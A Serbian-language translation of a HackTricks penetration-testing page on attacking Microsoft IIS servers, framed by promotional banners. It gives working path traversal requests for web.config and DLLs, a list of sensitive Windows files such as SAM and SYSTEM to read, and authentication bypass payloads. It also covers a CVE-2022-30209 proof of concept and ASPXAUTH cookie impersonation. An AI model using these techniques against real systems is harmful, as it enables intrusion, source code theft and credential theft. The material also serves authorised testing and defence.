IIS - Internet Information Services

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

WhiteIntel je pretraživač pokretan dark-web-om koji nudi besplatne funkcionalnosti za proveru da li je kompanija ili njeni korisnici kompromitovani od strane malvera za krađu podataka.

Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.

Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za besplatno na:


Testirajte ekstenzije izvršnih fajlova:

  • asp

  • aspx

  • config

  • php

Otkrivanje interne IP adrese

Na bilo kom IIS serveru gde dobijete 302, možete pokušati da uklonite zaglavlje Host i koristite HTTP/1.0, a unutar odgovora zaglavlje Lokacija bi moglo da vas usmeri ka internoj IP adresi:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Odgovor koji otkriva internu IP adresu:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Izvršavanje .config datoteka

Možete otpremiti .config datoteke i koristiti ih za izvršavanje koda. Jedan način je dodavanje koda na kraj datoteke unutar HTML komentara: Preuzmite primer ovde

Više informacija i tehnike za iskorišćavanje ove ranjivosti ovde

IIS Otkrivanje Brute Force

Preuzmite listu koju sam kreirao:

Kreirana je spajanjem sadržaja sledećih lista:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Koristite je bez dodavanja bilo kakvog nastavka, datoteke koje ga zahtevaju već ga imaju.

Prolazak kroz putanju

Otkrivanje izvornog koda

Proverite kompletan opis u: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Kao sažetak, postoji nekoliko web.config datoteka unutar foldera aplikacije sa referencama na "assemblyIdentity" datoteke i "namespaces". Sa ovim informacijama je moguće znati gde se nalaze izvršne datoteke i preuzeti ih. Iz preuzetih Dll-ova takođe je moguće pronaći nove namespaces gde biste trebali pokušati pristupiti i dobiti web.config datoteku kako biste pronašli nove namespaces i assemblyIdentity. Takođe, datoteke connectionstrings.config i global.asax mogu sadržati zanimljive informacije.\

U .Net MVC aplikacijama, datoteka web.config igra ključnu ulogu tako što specifikuje svaku binarnu datoteku na koju se aplikacija oslanja putem "assemblyIdentity" XML oznaka.

Istraživanje binarnih datoteka

Primer pristupa web.config datoteci je prikazan ispod:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Ovaj zahtev otkriva različite postavke i zavisnosti, kao što su:

  • Verzija EntityFramework-a

  • AppSettings za web stranice, klijentsku validaciju i JavaScript

  • Konfiguracije System.web za autentikaciju i runtime

  • Postavke modula System.webServer

  • Veze sklopova za izvršavanje za brojne biblioteke poput Microsoft.Owin, Newtonsoft.Json i System.Web.Mvc

Ove postavke ukazuju da se određene datoteke, poput /bin/WebGrease.dll, nalaze unutar fascikle /bin aplikacije.

Datoteke u korenskom direktorijumu

Datoteke pronađene u korenskom direktorijumu, poput /global.asax i /connectionstrings.config (koji sadrži osetljive lozinke), su ključne za konfiguraciju i rad aplikacije.

Prostori imena i Web.Config

MVC aplikacije takođe definišu dodatne web.config datoteke za specifične prostore imena kako bi se izbegla ponovna deklaracija u svakoj datoteci, kao što je prikazano zahtevom za preuzimanje druge web.config datoteke:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Preuzimanje DLL-ova

Pomen prilagođenog imenskog prostora ukazuje na DLL nazvan "WebApplication1" koji se nalazi u direktorijumu /bin. Nakon toga, prikazan je zahtev za preuzimanje WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Ovo sugeriše prisustvo drugih bitnih DLL-ova, poput System.Web.Mvc.dll i System.Web.Optimization.dll, u /bin direktorijumu.

U scenariju gde DLL uvozi prostor imena nazvan WebApplication1.Areas.Minded, napadač može zaključiti postojanje drugih web.config fajlova na predvidljivim putanjama, poput /ime-oblasti/Views/, koji sadrže specifične konfiguracije i reference ka drugim DLL-ovima u /bin folderu. Na primer, zahtev za /Minded/Views/web.config može otkriti konfiguracije i prostore imena koji ukazuju na prisustvo još jednog DLL-a, WebApplication1.AdditionalFeatures.dll.

Zajednički fajlovi

Sa ovde

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Грешка

Ако видите грешку као следећу:

Значи да сервер није примио тачно име домена у заглављу Домаћин. Како бисте приступили веб страници, може бити корисно да погледате SSL сертификат и можда пронађете име домена/poddomena u njemu. Ако га тamo nema, можда ћете морати brute force VHosts док не пронађете тачан.

Старе IIS ранијivosti које вреди потражити

Microsoft IIS tilde karakter "~" Ranjivost/Funkcija – Otkrivanje Kratkih Imena Fajlova/Foldera

Можете покушати nabrajanje foldera i fajlova unutar свакog откривеног foldera (чак и ако захтева Основну Аутентикацију) користећи ovu tehniku. Главно ограничење ове технике ако је сервер ranjiv је то што може пронаћи само до првих 6 слова имена сваког fajla/foldera и првих 3 слова екстензије fajlova.

Можете користити https://github.com/irsdl/IIS-ShortName-Scanner да тестирате ову ranjivost:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Originalno istraživanje: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Можете такође користити metasploit: use scanner/http/iis_shortname_scanner

Bypass Основне Аутентикације

Bypass основне аутентикације (IIS 7.5) покушавајући приступ: /admin:$i30:$INDEX_ALLOCATION/admin.php или /admin::$INDEX_ALLOCATION/admin.php

Можете покушати pomešati ovu ranjivost и претходну да пронађете нове foldere и bypass аутентикацију.

ASP.NET Trace.AXD омогућено дебаговање

ASP.NET укључује режим дебаговања и његов фајл се зове trace.axd.

Чува веома детаљан лог свих захтева направљених ка апликацији током одређеног временског периода.

Ове информације укључују удаљене клијентске IP адресе, идентификаторе сесија, све колачиће захтева и одговора, физичке путање, информације о изворном коду, и потенцијално чак и корисничка имена и лозinke.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH Колачић

ASPXAUTH користи следеће информације:

  • validationKey (string): heksadecimalni ključ koji se koristi za validaciju potpisa.

  • decryptionMethod (string): (podrazumevano “AES”).

  • decryptionIV (string): heksadecimalni inicijalizacioni vektor (podrazumevano vektor nula).

  • decryptionKey (string): heksadecimalni ključ koji se koristi za dešifrovanje.

Međutim, неки људи ће користити podrazumevane vrednosti за ове параметре и користиће као kolačić email korisnika. Стога, ако пронађете веб који користи исту платформу која користи ASPXAUTH колачић и креирате корисника са email-om korisnika кога желите да представите на серверу под нападом, можда ћете моћи да користите kolačić са другог серверa на првом и представите korisnika. Овај напад је успео у овом izveštaju.

IIS Bypass аутентикације са кешираним лозinkama (CVE-2022-30209)

Целокупан извештај овде: Грешка у коду није исправно проверила лозinku коју је дао корисник, па ће нападач чија хеш лозинке погоди кључ који је већ у кеширању моћи да се пријави као тај корисник.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

WhiteIntel je pretraživač pokrenut na dark webu koji nudi besplatne funkcionalnosti za proveru da li je kompanija ili njeni korisnici ugroženi od malvera koji krade informacije.

Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji krade informacije.

Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za besplatno na:

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated